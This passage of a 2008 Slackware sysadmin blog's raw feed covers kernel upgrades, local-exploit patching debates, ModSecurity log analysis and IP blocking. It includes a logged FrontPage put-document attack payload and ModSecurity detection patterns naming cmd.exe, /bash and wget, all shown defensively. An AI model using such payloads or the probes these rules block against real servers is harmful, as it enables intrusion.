kernel-generic-2.6.21.5-i486-2_slack12.0...&lt;br /&gt;&lt;br /&gt;Package kernel-generic-2.6.21.5-i486-2 upgraded with new package ./kernel-generic-2.6.21.5-i486-2_slack12.0.tgz.&lt;br /&gt;&lt;br /&gt;root@slackbox:~/kernel-patches# upgradepkg kernel-generic-smp-2.6.21.5_smp-i686-2_slack12.0.tgz&lt;br /&gt;&lt;br /&gt;+==============================================================================&lt;br /&gt;| Upgrading kernel-generic-smp-2.6.21.5_smp-i686-2 package using ./kernel-generic-smp-2.6.21.5_smp-i686-2_slack12.0.tgz&lt;br /&gt;+==============================================================================&lt;br /&gt;&lt;br /&gt;Pre-installing package kernel-generic-smp-2.6.21.5_smp-i686-2_slack12.0...&lt;br /&gt;&lt;br /&gt;Removing package /var/log/packages/kernel-generic-smp-2.6.21.5_smp-i686-2-upgraded-2008-02-21,20:01:00...&lt;br /&gt;&lt;br /&gt;Installing package kernel-generic-smp-2.6.21.5_smp-i686-2_slack12.0... &lt;br /&gt;PACKAGE DESCRIPTION:&lt;br /&gt;kernel-generic-smp: kernel-generic-smp (a general purpose SMP Linux kernel)&lt;br /&gt;kernel-generic-smp:&lt;br /&gt;kernel-generic-smp: This is a Linux kernel with built-in support for most disk&lt;br /&gt;kernel-generic-smp: controllers.  To use filesystems, or to load support for a SCSI or&lt;br /&gt;kernel-generic-smp: other controller, then you'll need to load one or more kernel&lt;br /&gt;kernel-generic-smp: modules using an initial ramdisk, or initrd.  For more information&lt;br /&gt;kernel-generic-smp: about creating an initrd, see the README.initrd file in the /boot&lt;br /&gt;kernel-generic-smp: directory.&lt;br /&gt;kernel-generic-smp:&lt;br /&gt;kernel-generic-smp: SMP is "Symmetric multiprocessing", or multiple CPU/core support.&lt;br /&gt;kernel-generic-smp:&lt;br /&gt;Executing install script for kernel-generic-smp-2.6.21.5_smp-i686-2_slack12.0...&lt;br /&gt;&lt;br /&gt;Package kernel-generic-smp-2.6.21.5_smp-i686-2 upgraded with new package ./kernel-generic-smp-2.6.21.5_smp-i686-2_slack12.0.tgz.&lt;br /&gt;&lt;br /&gt;root@slackbox:~/kernel-patches# upgradepkg kernel-huge-2.6.21.5-i486-2_slack12.0.tgz&lt;br /&gt;&lt;br /&gt;+==============================================================================&lt;br /&gt;| Upgrading kernel-huge-2.6.21.5-i486-2 package using ./kernel-huge-2.6.21.5-i486-2_slack12.0.tgz&lt;br /&gt;+==============================================================================&lt;br /&gt;&lt;br /&gt;Pre-installing package kernel-huge-2.6.21.5-i486-2_slack12.0...&lt;br /&gt;&lt;br /&gt;Removing package /var/log/packages/kernel-huge-2.6.21.5-i486-2-upgraded-2008-02-21,20:01:34...&lt;br /&gt;&lt;br /&gt;Installing package kernel-huge-2.6.21.5-i486-2_slack12.0... &lt;br /&gt;PACKAGE DESCRIPTION:&lt;br /&gt;kernel-huge: kernel-huge (a fully-loaded single processor Linux kernel)&lt;br /&gt;kernel-huge:&lt;br /&gt;kernel-huge: This is a Linux kernel with built-in support for most disk controllers&lt;br /&gt;kernel-huge: and filesystems.  If you're looking for a more stripped down kernel&lt;br /&gt;kernel-huge: (this one contains everything but the kitchen sink ;-), then install&lt;br /&gt;kernel-huge: the kernel-generic from the /boot directory along with an initrd to&lt;br /&gt;kernel-huge: load support for your boot device and filesystem.  For instructions&lt;br /&gt;kernel-huge: on the initrd, see README.initrd in the /boot directory.&lt;br /&gt;kernel-huge:&lt;br /&gt;Executing install script for kernel-huge-2.6.21.5-i486-2_slack12.0...&lt;br /&gt;&lt;br /&gt;Package kernel-huge-2.6.21.5-i486-2 upgraded with new package ./kernel-huge-2.6.21.5-i486-2_slack12.0.tgz.&lt;br /&gt;&lt;br /&gt;root@slackbox:~/kernel-patches# upgradepkg kernel-huge-smp-2.6.21.5_smp-i686-2_slack12.0.tgz&lt;br /&gt;&lt;br /&gt;+==============================================================================&lt;br /&gt;| Upgrading kernel-huge-smp-2.6.21.5_smp-i686-2 package using ./kernel-huge-smp-2.6.21.5_smp-i686-2_slack12.0.tgz&lt;br /&gt;+==============================================================================&lt;br /&gt;&lt;br /&gt;Pre-installing package kernel-huge-smp-2.6.21.5_smp-i686-2_slack12.0...&lt;br /&gt;&lt;br /&gt;Removing package /var/log/packages/kernel-huge-smp-2.6.21.5_smp-i686-2-upgraded-2008-02-21,20:02:13...&lt;br /&gt;&lt;br /&gt;Installing package kernel-huge-smp-2.6.21.5_smp-i686-2_slack12.0... &lt;br /&gt;PACKAGE DESCRIPTION:&lt;br /&gt;kernel-huge-smp: kernel-huge-smp (a fully-loaded SMP Linux kernel)&lt;br /&gt;kernel-huge-smp:&lt;br /&gt;kernel-huge-smp: This is a Linux kernel with built-in support for most disk&lt;br /&gt;kernel-huge-smp: controllers.  If you're looking for a more stripped down kernel&lt;br /&gt;kernel-huge-smp: (this one contains everything but the kitchen sink ;-), then install&lt;br /&gt;kernel-huge-smp: the kernel-generic-smp in the /boot directory along with an initrd to&lt;br /&gt;kernel-huge-smp: load support for your boot device and filesystem.  For instructions&lt;br /&gt;kernel-huge-smp: on the initrd, see README.initrd in the /boot directory.&lt;br /&gt;kernel-huge-smp:&lt;br /&gt;kernel-huge-smp: SMP is "Symmetric multiprocessing", or multiple CPU/core support.&lt;br /&gt;kernel-huge-smp:&lt;br /&gt;Executing install script for kernel-huge-smp-2.6.21.5_smp-i686-2_slack12.0...&lt;br /&gt;&lt;br /&gt;Package kernel-huge-smp-2.6.21.5_smp-i686-2 upgraded with new package ./kernel-huge-smp-2.6.21.5_smp-i686-2_slack12.0.tgz.&lt;br /&gt;&lt;br /&gt;root@slackbox:~/kernel-patches# &lt;br /&gt;&lt;br /&gt;root@slackbox:~/kernel-patches# lilo&lt;br /&gt;Fatal: VolumeID read error: sector 0 of /dev/sda not readable&lt;br /&gt;&lt;br /&gt;OUCH!&lt;br /&gt;&lt;br /&gt;I read this:  http://unixadmintalk.com/f11/lilo-fails-dev-sda-not-readable-65533/&lt;br /&gt;&lt;br /&gt;It appears to help:&lt;br /&gt;&lt;br /&gt;root@slackbox:~/kernel-patches# lilo&lt;br /&gt;Warning: bypassing VolumeID scan of drive flagged INACCESSIBLE:  /dev/sda&lt;br /&gt;Warning: The boot sector and map file are on different disks.&lt;br /&gt;Added Windows *&lt;br /&gt;Added Linux&lt;br /&gt;2 warnings were issued.&lt;br /&gt;&lt;br /&gt;Will reboot then test to see if this upgraded kernel is still vulnerable...&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13095995-8287668966143910194?l=slackfiles.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://slackfiles.blogspot.com/feeds/8287668966143910194/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13095995&amp;postID=8287668966143910194' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/8287668966143910194'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/8287668966143910194'/><link rel='alternate' type='text/html' href='http://slackfiles.blogspot.com/2008/02/kernel-upgrade.html' title='Kernel Upgrade'/><author><name>Ron</name><uri>http://www.blogger.com/profile/07368326205701250122</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='22' src='http://1.bp.blogspot.com/_DYU25XfzLMA/SO00DtFzyLI/AAAAAAAAAD0/hvwkeHA-Ijo/S220/fail-owned-dingleberry-name-fail.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13095995.post-285895698614208933</id><published>2008-02-17T19:49:00.000-05:00</published><updated>2008-02-18T23:26:46.067-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Secunia.com'/><category scheme='http://www.blogger.com/atom/ns#' term='cve.mitre.org'/><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><category scheme='http://www.blogger.com/atom/ns#' term='kernel'/><category scheme='http://www.blogger.com/atom/ns#' term='Slackware'/><category scheme='http://www.blogger.com/atom/ns#' term='local exploit'/><title type='text'>Kernel vulnerabilities affecting Linux machines</title><content type='html'>Whenever there's some kernel-level vulnerability, it seems that the whole community goes ape-crap over something that should be a no-brainer.&lt;br /&gt;&lt;br /&gt;The recent vulnerability is documented here:&lt;br /&gt;&lt;br /&gt;  &lt;a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0010"&gt;http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0010&lt;/a&gt;&lt;br /&gt;  &lt;a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0163"&gt;http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0163&lt;/a&gt;&lt;br /&gt;  &lt;a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0600"&gt;http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0600&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;So, what's the big deal?  It is a locally exploitable vulnerability.  Everyone is acting like its the end of the world.  Why?  Are people actually giving people access to their systems that they don't trust?  Why am I not worried?  Because I want to learn things about security.  Think about this for a second:  in an enterprise environment, you're not going to be able to always apply kernel patches to production machines.  You're not always going to be able to test by standing up a development environment.  There is not always going to be one distribution used and not every platform will share the same hardware.  What's readily apparent is that security should always be applied in layers.  This means that no one should be accessing machines on your local network that you can't trust.  If someone is not trustworthy, you should always be worrying about what they're doing on the network, instead of only when kernel-level vulnerabilities are discovered.&lt;br /&gt;&lt;br /&gt;Does that lessen the responsibility of the system admins?  No, but if everyone thought less of patching applications and more as a security administrator, the workload of the system administrator would probably be less.  What I'm seeing in chatrooms and forums is this:  "Oh shit...this exploit gives local root access...I have to apply this patch NOW!!"  Someone said something similar in an IRC channel that I frequent:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;br /&gt;&lt;br /&gt;SiegeX - I dunno, having a local root exploit (which ive tested with existing code) on a box that runs any sort of service would worry the hell out of me&lt;br /&gt;W|GGL|T - SiegeX: in all actuality, you could have root exploits locally all over the place and you'd not know about it&lt;br /&gt;SiegeX - and I probably do, but its no excuse for not patching the ones I do&lt;br /&gt;W|GGL|T - security is more than just patching....in a corporate scenario, you have to balance out if you can even apply the patch....you bet your ass we're not going to take down a production system that has a localized vulnerability if it is indeed only local&lt;br /&gt;SiegeX - heh, step 1) su root 2) cat /etc/shadow 3) ??? 4) profit&lt;br /&gt;W|GGL|T - its called mitigation&lt;br /&gt;W|GGL|T - if security is applied in layers, certain risks are lessened&lt;br /&gt;SiegeX - W|GGL|T: why wouldnt you apply the patch on a production clone for testing purposes and do regression testing on that to make sure everything is a-ok before moving it over ?&lt;br /&gt;W|GGL|T - SiegeX: if the corporate network has 10 different security layers, the need for immediate patching is small.  sure, we'd patch but we'd do it in a sane manner&lt;br /&gt;SiegeX - W|GGL|T: since you're into the corp security let me ask you if there was a solid way for a corp to not allow outbound tunnels while still allowing https?&lt;br /&gt;SiegeX - s/was/is&lt;br /&gt;W|GGL|T - SiegeX: nope, but then again, those who don't follow corporate policy need to be fired&lt;br /&gt;SiegeX - afaik, if you tunnel over https, not even a L7 filter will look at it funny since the connection setup looks legit. Only thing i can think of is traffic analysis&lt;br /&gt;W|GGL|T - there are always checks and balances&lt;br /&gt;W|GGL|T - SiegeX: hrmm....there is IDS&lt;br /&gt;W|GGL|T - and there is also a concept called behavioral analysis&lt;br /&gt;&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;The conversation dies shortly thereafter.  I do think SiegeX was thinking in a sane manner.  What he's worried about is someone either breaking into the machine or someone from inside tunneling and somehow letting an unauthorized user into the network.  Layered security addresses both of those concerns.  You lock down your firewall to only allow certain traffic in/out of the network.  You set up either an IDS or an IPS to either log suspicious traffic or actively log and block unusual traffic.  Yes, IDS/IPS can detect layer-7 traffic anomalies (but only if there are rules patterned after the unwanted traffic).  Those people that tunnel out of the corporate network can be either reprimanded or handed their walking papers...that problem can be solved rather quickly.&lt;br /&gt;&lt;br /&gt;I take it that SiegeX didn't want to deal with traffic analysis.  That's the only way ANYONE is going to see stuff.  Think about it.  When you look at firewall logs, you're looking at logged traffic.  If you're looking at your system logs (for instance, /var/log/secure, /var/log/faillog, or /var/log/messages (which may contain snort log and/or firewall log entries)), you're pretty much conducting traffic analysis.  This should be within the realm of every system admin.&lt;br /&gt;&lt;br /&gt;The easier way would be to address the kernel vulnerability, but I've also seen places that will NOT update a kernel unless absolutely necessary.  The train-of-thought is that they wanted absolute stability and that stability overruled patch updating.  What type of organization would think in this manner?  Think of organizations that deal in national flight systems.&lt;br /&gt;&lt;br /&gt;So, when am I going to apply a patched kernel?  I don't know...my LAN is so layered with security that its not a hot priority for me to apply this patch.&lt;br /&gt;&lt;br /&gt;Lastly, here's a Secunia link of the vulnerabilities in question:  &lt;a href="http://secunia.com/advisories/28835/"&gt;http://secunia.com/advisories/28835/&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13095995-285895698614208933?l=slackfiles.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://slackfiles.blogspot.com/feeds/285895698614208933/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13095995&amp;postID=285895698614208933' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/285895698614208933'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/285895698614208933'/><link rel='alternate' type='text/html' href='http://slackfiles.blogspot.com/2008/02/kernel-vulnerabilities-affecting-linux.html' title='Kernel vulnerabilities affecting Linux machines'/><author><name>Ron</name><uri>http://www.blogger.com/profile/07368326205701250122</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='22' src='http://1.bp.blogspot.com/_DYU25XfzLMA/SO00DtFzyLI/AAAAAAAAAD0/hvwkeHA-Ijo/S220/fail-owned-dingleberry-name-fail.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13095995.post-8056337763003731970</id><published>2008-01-25T08:46:00.000-05:00</published><updated>2008-01-25T08:48:42.529-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='web server'/><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><category scheme='http://www.blogger.com/atom/ns#' term='apache'/><category scheme='http://www.blogger.com/atom/ns#' term='bots'/><title type='text'>Mystery infestation strikes Linux/Apache Web sites</title><content type='html'>http://www.linux.com/feature/125548&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;span style="font-style:italic;"&gt;"According to a press release issued earlier this month by Finjan, a security research firm, compromised Web servers are infecting thousands of visitors daily with malware that turns their Windows machines into unwitting bots to do the bidding of an as yet unidentified criminal organization. Security firms ScanSafe and SecureWorks have since added their own takes on the situation, though with varying estimates on the number of sites affected. All reports thus far say the compromised servers are running Linux and Apache."&lt;/span&gt;&lt;/blockquote&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13095995-8056337763003731970?l=slackfiles.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://slackfiles.blogspot.com/feeds/8056337763003731970/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13095995&amp;postID=8056337763003731970' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/8056337763003731970'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/8056337763003731970'/><link rel='alternate' type='text/html' href='http://slackfiles.blogspot.com/2008/01/mystery-infestation-strikes-linuxapache.html' title='Mystery infestation strikes Linux/Apache Web sites'/><author><name>Ron</name><uri>http://www.blogger.com/profile/07368326205701250122</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='22' src='http://1.bp.blogspot.com/_DYU25XfzLMA/SO00DtFzyLI/AAAAAAAAAD0/hvwkeHA-Ijo/S220/fail-owned-dingleberry-name-fail.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13095995.post-9011242479028860223</id><published>2008-01-21T19:09:00.001-05:00</published><updated>2009-06-26T22:11:24.452-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Snort'/><category scheme='http://www.blogger.com/atom/ns#' term='data injection'/><title type='text'>What's New?</title><content type='html'>What's new for 2008?&lt;br /&gt;&lt;br /&gt;I've quit smoking.  The last time I smoked was on the 31st of Dec 2007.  I've also enrolled in my company's benefits as a non-smoker (as an incentive and as punishment, as a smoker who has claimed non-smoker status can be disciplined or fired).  I've been using smoking cessation aids (ie, Nicoderm and other aids).&lt;br /&gt;&lt;br /&gt;Other than that, nothing is new, other than I'm burned out at work.  Shiftwork and looking at packets all day (along with customer firewall requests and the semi-management stuff I do) has taken its toll, so my resume is out there and I've gotten some interesting hits.  Sadly, most of &lt;br /&gt;it is contract work (which sucks) or requires a clearance (my clearance status is still in some black hole somewhere).  Soooo...I'm applying within the company for other positions of interest.  I'd like to stay in my field and have completed one assessment 'test'...it blew my mind, along with it being like 60 questions long, essay format.  The things I do to get a freekin' job...  :)&lt;br /&gt;&lt;br /&gt;Anyways, I've a tidbit for you.  If anyone has ever perused their web server logs and saw the below:&lt;br /&gt;&lt;br /&gt;193.205.4.38 - - [19/Jan/2008:16:31:56 -0500] "HEAD / HTTP/1.0" 200 0&lt;br /&gt;193.205.4.38 - - [19/Jan/2008:16:31:56 -0500] "HEAD / HTTP/1.0" 200 0 "-" "-"&lt;br /&gt;193.205.4.38 - - [19/Jan/2008:16:31:56 -0500] "POST /_vti_bin/_vti_aut/author.dll HTTP/1.1" 500 544&lt;br /&gt;193.205.4.38 - - [19/Jan/2008:16:31:56 -0500] "POST /_vti_bin/_vti_aut/author.dll HTTP/1.1" 500 544 "-" "core-project/1.0"&lt;br /&gt;&lt;br /&gt;It looks harmless, eh?  Seen this tons of times before?  I know I have.  Well, take a look at how my Snort setup detected it:&lt;br /&gt;&lt;br /&gt;WEB-MISC cross site scripting attempt  1  1   2008-01-19 16:31:56   2008-01-19 16:31:56&lt;br /&gt;&lt;br /&gt;Digging deeper:&lt;br /&gt;&lt;br /&gt;[ GAAAHHH...the code renders like pure dung when I post! ]&lt;br /&gt;&lt;br /&gt;Note that I've disabled the harmful HTML flags and Snort removed the garbage (noted as non-ASCII characters).&lt;br /&gt;&lt;br /&gt;And, no, I don't allow any inputting of text on my site, and I also don't allow any scripts to be run.  My site is a static site, so I'm safe enough, along with using modsecurity and Snort for blocking of HTTP traffic and detection of badness.  I refuse to be a statistic, although my stubbornness limits dynamic content serving.&lt;br /&gt;&lt;br /&gt;The script looks like it checked for a live webserver then began the attack, quick-fast.  Most people will associate the Frontpage attack as an old attack.  The payload of the Frontpage attacks show:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;method=put+document%3a4%2e0%2e2%2e4715&amp;amp;service%5fname=&amp;amp;document=%5bdocument%5fname%3dindex.htm%3bmeta%5finfo%3d%5b%5d%5d&amp;amp;put%5foption=overwrite&amp;amp;comment=&amp;amp;keep%5fchecked%5fout=false&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;I will not pretend I know what all it does.  It is attempting to inject data into my server, though.  The red flag for me is the 'method=put+document'.  Also, there were two of these, happening 24 hours apart (but only one cross-site scripting event).  I'll not block the site, as I may actually learn something from recording its attacks (and I can't block the whole internet, either).&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13095995-9011242479028860223?l=slackfiles.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://slackfiles.blogspot.com/feeds/9011242479028860223/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13095995&amp;postID=9011242479028860223' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/9011242479028860223'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/9011242479028860223'/><link rel='alternate' type='text/html' href='http://slackfiles.blogspot.com/2008/01/whats-new.html' title='What&apos;s New?'/><author><name>Ron</name><uri>http://www.blogger.com/profile/07368326205701250122</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='22' src='http://1.bp.blogspot.com/_DYU25XfzLMA/SO00DtFzyLI/AAAAAAAAAD0/hvwkeHA-Ijo/S220/fail-owned-dingleberry-name-fail.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13095995.post-8904586213199337775</id><published>2008-01-12T16:54:00.000-05:00</published><updated>2008-01-12T18:05:15.394-05:00</updated><title type='text'>Another host to block</title><content type='html'>I've just blocked 202.75.33.249.  I haven't been paying heed to my Dshield reports and when I compared two reports today, I saw the same IP generating many hits.  I checked the firewall logs and processed how many alerts this IP has generated.  I found that the attacks began Nov 18th and the total number of alerts are 863.&lt;br /&gt;&lt;br /&gt;This IP was a prime candidate for blocking.&lt;br /&gt;&lt;br /&gt;Why don't I use Snort-inline?  Because I don't have that much control over the network that my host is on (its a colo box running on a virtual server).  So, I have to do things manually...it's not a problem, as it keeps me on my toes.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;EDIT - I actually blocked 3 other IPs also.  What's funny is that I saw one that was trying to connect on port 3389 (MS Term Svcs)...to a Linux machine...&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13095995-8904586213199337775?l=slackfiles.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://slackfiles.blogspot.com/feeds/8904586213199337775/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13095995&amp;postID=8904586213199337775' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/8904586213199337775'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/8904586213199337775'/><link rel='alternate' type='text/html' href='http://slackfiles.blogspot.com/2008/01/another-host-to-block.html' title='Another host to block'/><author><name>Ron</name><uri>http://www.blogger.com/profile/07368326205701250122</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='22' src='http://1.bp.blogspot.com/_DYU25XfzLMA/SO00DtFzyLI/AAAAAAAAAD0/hvwkeHA-Ijo/S220/fail-owned-dingleberry-name-fail.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13095995.post-179321690005243621</id><published>2007-12-21T20:35:00.000-05:00</published><updated>2008-01-12T18:06:13.079-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='fan'/><category scheme='http://www.blogger.com/atom/ns#' term='7300 GT'/><category scheme='http://www.blogger.com/atom/ns#' term='EVGA'/><category scheme='http://www.blogger.com/atom/ns#' term='e-Geforce'/><title type='text'>e-GeForce 7300 GT fan issues</title><content type='html'>The fan on this card, which I purchased last March, seized.  It appears to be removable.  Instead of returning it, I'm going to see about adding another fan (I just need to find one that will clamp on without issues).&lt;br /&gt;&lt;br /&gt;I ordered another one eariler in the week and will use this one while I'm repairing the other's fan (in fact, I'll order an additional fan for when the new one's fan breaks).&lt;br /&gt;&lt;br /&gt;Why am I putting up with replacing the fan and buying an additional fan for the new one?  Because the card is AWESOME!  The fan issue totally sucks and the card is still under warranty, but I can tell that these cards have bad fans and this is a design defect, I believe.  If I can replace the fan with one that clamps on at the same clamp-on points, I'll be happy.  If not, I'll return both before the warranties end and get the fanless versions.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.tigerdirect.com/applications/SearchTools/item-details.asp?EdpNo=2231768&amp;amp;body=REVIEWS"&gt;Click here&lt;/a&gt; for some TigerDirect reviews of this card.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;EDIT:  WHOA...  I just opened the box of my replacement 7300 and saw that they've changed the fan to something that is hopefully more robust.  It is an open fan and is black plastic.  EVGA must have had too many complaints and decided that a new fan was in order.  I'll post pics later.&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13095995-179321690005243621?l=slackfiles.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://slackfiles.blogspot.com/feeds/179321690005243621/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13095995&amp;postID=179321690005243621' title='6 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/179321690005243621'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/179321690005243621'/><link rel='alternate' type='text/html' href='http://slackfiles.blogspot.com/2007/12/e-geforce-7300-gt-fan-issues.html' title='e-GeForce 7300 GT fan issues'/><author><name>Ron</name><uri>http://www.blogger.com/profile/07368326205701250122</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='22' src='http://1.bp.blogspot.com/_DYU25XfzLMA/SO00DtFzyLI/AAAAAAAAAD0/hvwkeHA-Ijo/S220/fail-owned-dingleberry-name-fail.jpg'/></author><thr:total>6</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13095995.post-2631520113191594279</id><published>2007-12-19T21:08:00.000-05:00</published><updated>2007-12-31T19:26:49.412-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='grep logs'/><category scheme='http://www.blogger.com/atom/ns#' term='ModSecurity'/><title type='text'>Modsecurity again</title><content type='html'>Reading through some of my unread modsecurity mailing list emails, I found this tidbit (pretty simple, actually):&lt;br /&gt;&lt;br /&gt;egrep '^Message:' modsec_audit.log | sort | uniq -c | sort -rn&lt;br /&gt;&lt;br /&gt;I edited it to read:  egrep 'message:' audit_log | sort | uniq -c | sort -rn&lt;br /&gt;&lt;br /&gt;I see the following after running those commands:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;br /&gt;   927 mod_security-message: Access denied with code 403. Pattern match "index.php" at REQUEST_URI [id "1005"][rev "2"] [msg "index.php usage, suspicious activity"] [severity "ALERT"]&lt;br /&gt;   728 mod_security-message: Access denied with code 403. Pattern match "cmd.txt" at REQUEST_URI [id "1005"][rev "2"] [msg "cmd.txt usage, suspicious activity"] [severity "ALERT"]&lt;br /&gt;   668 mod_security-message: Warning. Pattern match "/robots\\.txt" at THE_REQUEST [severity "EMERGENCY"]&lt;br /&gt;   377 mod_security-message: Warning. Pattern match "/*\\.shtml" at THE_REQUEST [severity "EMERGENCY"]&lt;br /&gt;   171 mod_security-message: Access denied with code 500. Pattern match "\\?\\?\\?\\?\\?\\?\\?\\?\\?\\?" at THE_REQUEST [severity "EMERGENCY"]&lt;br /&gt;   141 mod_security-message: Access denied with code 403. Pattern match "/xmlrpc.php" at REQUEST_URI [id "1003"][rev "2"] [msg "lupper-type attack attempt"] [severity "CRITICAL"]&lt;br /&gt;   127 mod_security-message: Warning. Pattern match "/\\?M=D" at THE_REQUEST [severity "EMERGENCY"]&lt;br /&gt;   127 mod_security-message: Access denied with code 403. Pattern match "index2.php" at REQUEST_URI [id "1005"][rev "2"] [msg "index2.php usage, suspicious activity"] [severity "ALERT"]&lt;br /&gt;   115 mod_security-message: Access denied with code 500. Pattern match "!(^$|^application/x-www-form-urlencoded$|^multipart/form-data;)" at HEADER("Content-Type") [severity "EMERGENCY"]&lt;br /&gt;    82 mod_security-message: Access denied with code 403. Pattern match "adxmlrpc.php" at REQUEST_URI [id "1004"][rev "2"] [msg "lupper-type attack attempt"] [severity "CRITICAL"]&lt;br /&gt;    51 mod_security-message: Access denied with code 403. Pattern match "login.php" at REQUEST_URI [id "1005"][rev "2"] [msg "login.php usage, un-kosher activity"] [severity "ALERT"]&lt;br /&gt;    48 mod_security-message: Access denied with code 500. Pattern match "\\." at REQUEST_URI [severity "EMERGENCY"]&lt;br /&gt;    29 mod_security-message: Access denied with code 500. Pattern match "\\.\\." at THE_REQUEST [severity "EMERGENCY"]&lt;br /&gt;    12 mod_security-message: Access denied with code 500. Error normalising REQUEST_URI: Invalid character detected [0] [severity "EMERGENCY"]&lt;br /&gt;     8 mod_security-message: Access denied with code 403. Pattern match "index.php" at POST_PAYLOAD [id "1005"][rev "2"] [msg "index.php usage, suspicious activity"] [severity "ALERT"]&lt;br /&gt;     7 mod_security-message: Access denied with code 500. Pattern match "/calendar" at THE_REQUEST [severity "EMERGENCY"]&lt;br /&gt;     5 mod_security-message: Warning. Pattern match "/bash" at THE_REQUEST [severity "EMERGENCY"]&lt;br /&gt;     4 mod_security-message: Access denied with code 500. Pattern match "wget\\x20" at REQUEST_URI [severity "EMERGENCY"]&lt;br /&gt;     2 mod_security-message: Access denied with code 500. Pattern match "\\?&amp;amp;" at THE_REQUEST [severity "EMERGENCY"]&lt;br /&gt;     2 mod_security-message: Access denied with code 500. Pattern match "/root\\.exe" at THE_REQUEST [severity "EMERGENCY"]&lt;br /&gt;     1 mod_security-message: Access denied with code 403. Pattern match "/cmd.exe" at REQUEST_URI [id "1002"][rev "2"] [msg "codered/nimda attack attempt"] [severity "ALERT"]&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;The 